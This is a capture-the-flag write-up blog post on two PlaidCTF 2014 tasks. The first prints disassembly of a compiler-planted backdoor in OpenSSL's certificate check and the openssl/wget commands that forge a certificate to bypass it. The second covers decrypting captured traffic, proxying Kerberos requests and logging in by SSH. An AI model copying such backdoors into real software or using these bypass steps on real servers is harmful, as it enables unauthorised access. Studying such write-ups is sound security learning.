Monday, April 14, 2014

PlaidCTF 2014 - gcc (300) and freya (250)

PlaidCTF 2014 was an awesome event. This year it gathered ~1000 teams competing by solving really challenging and fun tasks (there were a lot of them - mostly tricky, requiring solid knowledge as well as good intuition, more than requiring a lot of mundane work with debugger). Our team - the Dragon Sector - finished 2nd this time.

Both tasks mentioned in the post title have been solved by only 5 teams each, so you're probably longing to find out how we cracked them? Here it is, just remember - both of the tasks were solved rather by means of testing, guessing and trying various things and not by any subtle and meticulous analysis. If you'd like to learn more about technologies described here (GCC and Kerberos) it'd be way better if you got a good specification on this software, instead of getting the knowledge by reading our solutions :).

OK, for those who like the hacker-way-of-solving things, here's our story:

GCC (300)

The task has been solved by jagger, gynvael & valis.

Description:
This is bad. Very bad. You travel back in time, only to see that The Plague has finagled his way to the gcc dev team. What sort of mischief he can cause for the future from this point of power is hard to say... find out what he's up to immediately! Here's a copy of GCC. We're pretty sure he's running something at https://107.21.133.9/.

After clicking on the link we were given a complete gcc toolchain for the 64-bit Linux system. At this point we started just poking randomly around the toolchain, looking at outputs produced by it, and comparing with the stock compiler's outputs. We also compiled the same version of the compiler with the same flags (found in one of the .h files), but due to too much diff noise, it was really hard to compare those two gcc toolchains. We were considering using zynamic's BinDiff, but in the end we took another approach.

As nothing interesting came out from our quick poking around the compiler toolchain, we started looking at https://107.21.133.9/. It's a simple web-page served over a HTTPS server and displaying just "Unauthorized.".

Authors of the task mentioned that the software compiled with the aforementioned backdoored gcc is running on the host, so we were able to come up with only limited number of plausible software suites that could be used there:
  • Apache
  • OpenSSL (cause the Apache was running with mod_ssl.so or with SSL proxy)
and a couple of less obvious ones:
  • PHP
  • Python
  • various utility libs (zlib, libc etc.)
And we were just lucky, because the first software suite we compiled with the backdoored gcc was OpenSSL. After comparing the original and backdoored versions with diff -Nu (by dumping the asm with objdump -d libssl.so), it turned out that one of the OpenSSL function had been modified, and it was .....wait for it.... ssl_verify_cert_chain():). In essence, the following code block was responsible for the complete backdoor functionality:

.text:00000000000009A0 loc_9A0:   ; CODE XREF: ssl_verify_cert_chain+20j
.text:00000000000009A0                 xor     esi, esi
.text:00000000000009A2                 mov     rdi, rbx
.text:00000000000009A5                 call    sk_value        ; PIC mode
.text:00000000000009AA                 mov     rcx, [rax+20h]
.text:00000000000009AE                 mov     rdx, rax
.text:00000000000009B1                 mov     eax, 1
.text:00000000000009B6                 cmp     dword ptr [rcx], 233D4F2Fh
.text:00000000000009BC                 jz      short loc_994
; ---------------------------------------------------------------------------
.text:0000000000000994 loc_994:  ; CODE XREF: ssl_verify_cert_chain+4Cj
.text:0000000000000994           ; ssl_verify_cert_chain+149tj
.text:0000000000000994                 add     rsp, 110h
.text:000000000000099B                 pop     rbx
.text:000000000000099C                 pop     rbp
.text:000000000000099D                 pop     r12
.text:000000000000099F                 retn

As you probably noticed, the code is trying to get "something" from the OpenSSL's x509 certificate stack (sk_value), and then verifies that data, by comapring the 4 first bytes pointed by a pointer fetched from this stack, to 0x233D4F2F (little endian). Those 4 bytes, when converted to an ASCII string, give:

/O=#

Now, this looked suspliciously similar to the format used by X509 certificates to store information about DNs (Distinguished Names), didn't it?

So, if this check (cmp dword ptr [rcx], 233D4F2Fh) succeeds, the code skips any further validation attempts and just "returns 1". We also confirmed, by reading the OpenSSL source code, that, indeed, the pointer at sk_value + 0x20 points to the peer certificate's DN.

Diff of original and modified libssl.so

We tried to create a self-serving certificate with (Organization) O=# but it wasn't that easy. First of all, the default openssl x509 command requires that the first DN field, the country, is actually set to something sane. We bypassed that, by editing /usr/lib/ssl/openssl.cnf and setting countryName_min value to 0. We also edited a few other things there, so their default values could be empty (so the certificate's DN string could start with /O=).

Then, we created a proper key/certificate pair.

$ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem 
Generating a 2048 bit RSA private key
.................................................+++
......+++
writing new private key to 'key.pem'
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
Country Name (2 letter code) []:
State or Province Name (full name) []:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]: #
Organizational Unit Name (eg, section) []: AA
Common Name (e.g. server FQDN or YOUR name) []:ABC
Email Address []:A@o.com

Used it with wget:

$ wget --no-check-certificate --certificate=cert.pem --private-key=key.pem https://107.21.133.9 -O -
Enter PEM pass phrase:

Connecting to 107.21.133.9:443... connected.
WARNING: cannot verify 107.21.133.9's certificate, issued by ‘/C=US/O=Plaid CTF/L=Pittsburgh/ST=Pennsylvania/CN=Certificate Authority’:.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<head>
<title>Flag Service</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>
<h3>Only members of "Plaid CTF" are allowed. You are part of "AA".</h3>
</body>

Ha.. that's really close! We figured out that "AA" is our OU (Organizational Unit), and we changed it to "Plaid CTF". Another wget request, and we got the flag:

$ wget --no-check-certificate --certificate=cert.pem --private-key=key.pem https://107.21.133.9 -O -
Enter PEM pass phrase:

Connecting to 107.21.133.9:443... connected.
WARNING: cannot verify 107.21.133.9's certificate, issued by ‘/C=US/O=Plaid CTF/L=Pittsburgh/ST=Pennsylvania/CN=Certificate Authority’:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<head>
<title>Flag Service</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>
<h3>Your flag: </h3><p>bleeding_trust_on_your_reflections</p>

</body>




Freya (250)

This task has been solved by jagger, redford & vnd.

Description:
We've traveled back far, but this protocol looks familiar... Our reconnaissance team did a great job, they got us a data capture from the currently running systems and a private key from the server (shell.woo.pctf which resolves to 54.226.73.167) . Take a look at the traffic our reconnaissance team picked up, and see if you can get access to The Plague's server, at 54.226.73.167.

The archive contained the following files:
  • in/password
  • in/freya_priv.pem
  • in/freya.pcapng
  • in/freya_cert.pem
The *.pcapng file included two types of TCP sessions. 

1). Two HTTPS requests (the plain HTTP content can be decoded with Wireshark by providing freya_priv.pem and freya_cert.pem to the SSL protocol analyzer). They were directed at  54.226.73.167:443, and contained the following request.

POST /kkdcp HTTP/1.0
Cache-Control: no-cache
Pragma: no-cache
User-Agent: kerberos/1.0
Content-type: application/kerberos
Content-length: 280

0j0
k0i0MIT0LEC0A:8x[o>8ZkZ~=kgZG;|[R!ODN\s0
}0{P00ppp
WOO.PCTF!00hostshell.woo.pctf20140413023756Z"U0
WOO.PCTF

Wireshark analysys of the in/freya.pcapng


2). A SSH session with 54.226.73.167

The HTTP session consisted of two distinct HTTP request/replies pairs. The first one looked like a Kerberos ticket request or somesuch, didn't it? . It was replied with a NEEDED_PREAUTH message, which basically means that a user password is required. The second HTTP POST request presumably provided a password, and the KRB ticket for host/shell.woo.pctf@WOO.PCTF had been returned in response to that. It's all guessing, but having been working with Kerberos for some time, it seemed like an educated guess.

We started proxying custom kinit requests for the key (rewriting kerberos protocol to HTTPS and back) in order to obtain a new kerberos key, but something wasn't right. It seems that the HTTPS requests and replies were encapsulated in some kind of container, and carried additional bytes at the beginning of each packet (9 and 12 bytes in those HTTP requests respectively). So, we simply added those bytes with our proxy (a simple net/file proxy written in C), taken from the original TCP/HTTPS session visible in wireshark. We also removed those unnecessary bytes from the KDC responses so kinit could interpret them.

With that, we were able to get the ticket by feeding kinit with proxied data. We spent some time on getting the right parameters to the kinit command, but after some forth and back we found the right combination: kinit -S host/shell.woo.pctf ppp. It's worth noting that by default kerberos was asking for the tgt (ticket granting ticket), a request which wasn't replied to by the KDC server set up by PPP.

This task also required modifying the local /etc/krb5.conf, so the ticket requests were directed at our proxy and not at some random server. The essential part of it:

[realms]
  WOO.PCTF = {
    kdc = 127.0.0.1:9999
    default_domain = woo.pctf
  }
[domain_realm]
  woo.pctf = WOO.PCTF


By providing password found the in/password file (shellpls), we were able to obtain a valid ticket for shell.woo.pctf from this peculiar KDC.

$ klist -a
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: ppp@WOO.PCTF
Valid starting       Expires               Service principal
04/13/2014 15:48:41 04/14/2014 15:48:25 host/shell.woo.pctf@WOO.PCTF

Now, let's repeat parameters of the ssh session which we found in the *.pcapng

$ ssh ppp@54.226.73.167 -o GSSAPIKeyExchange=yes -o GSSAPIServerIdentity=shell.woo.pctf
M1T&H31MD4L&M1CR0$0FT&SH1SH1


Voila! Hope you liked it!


1 comment: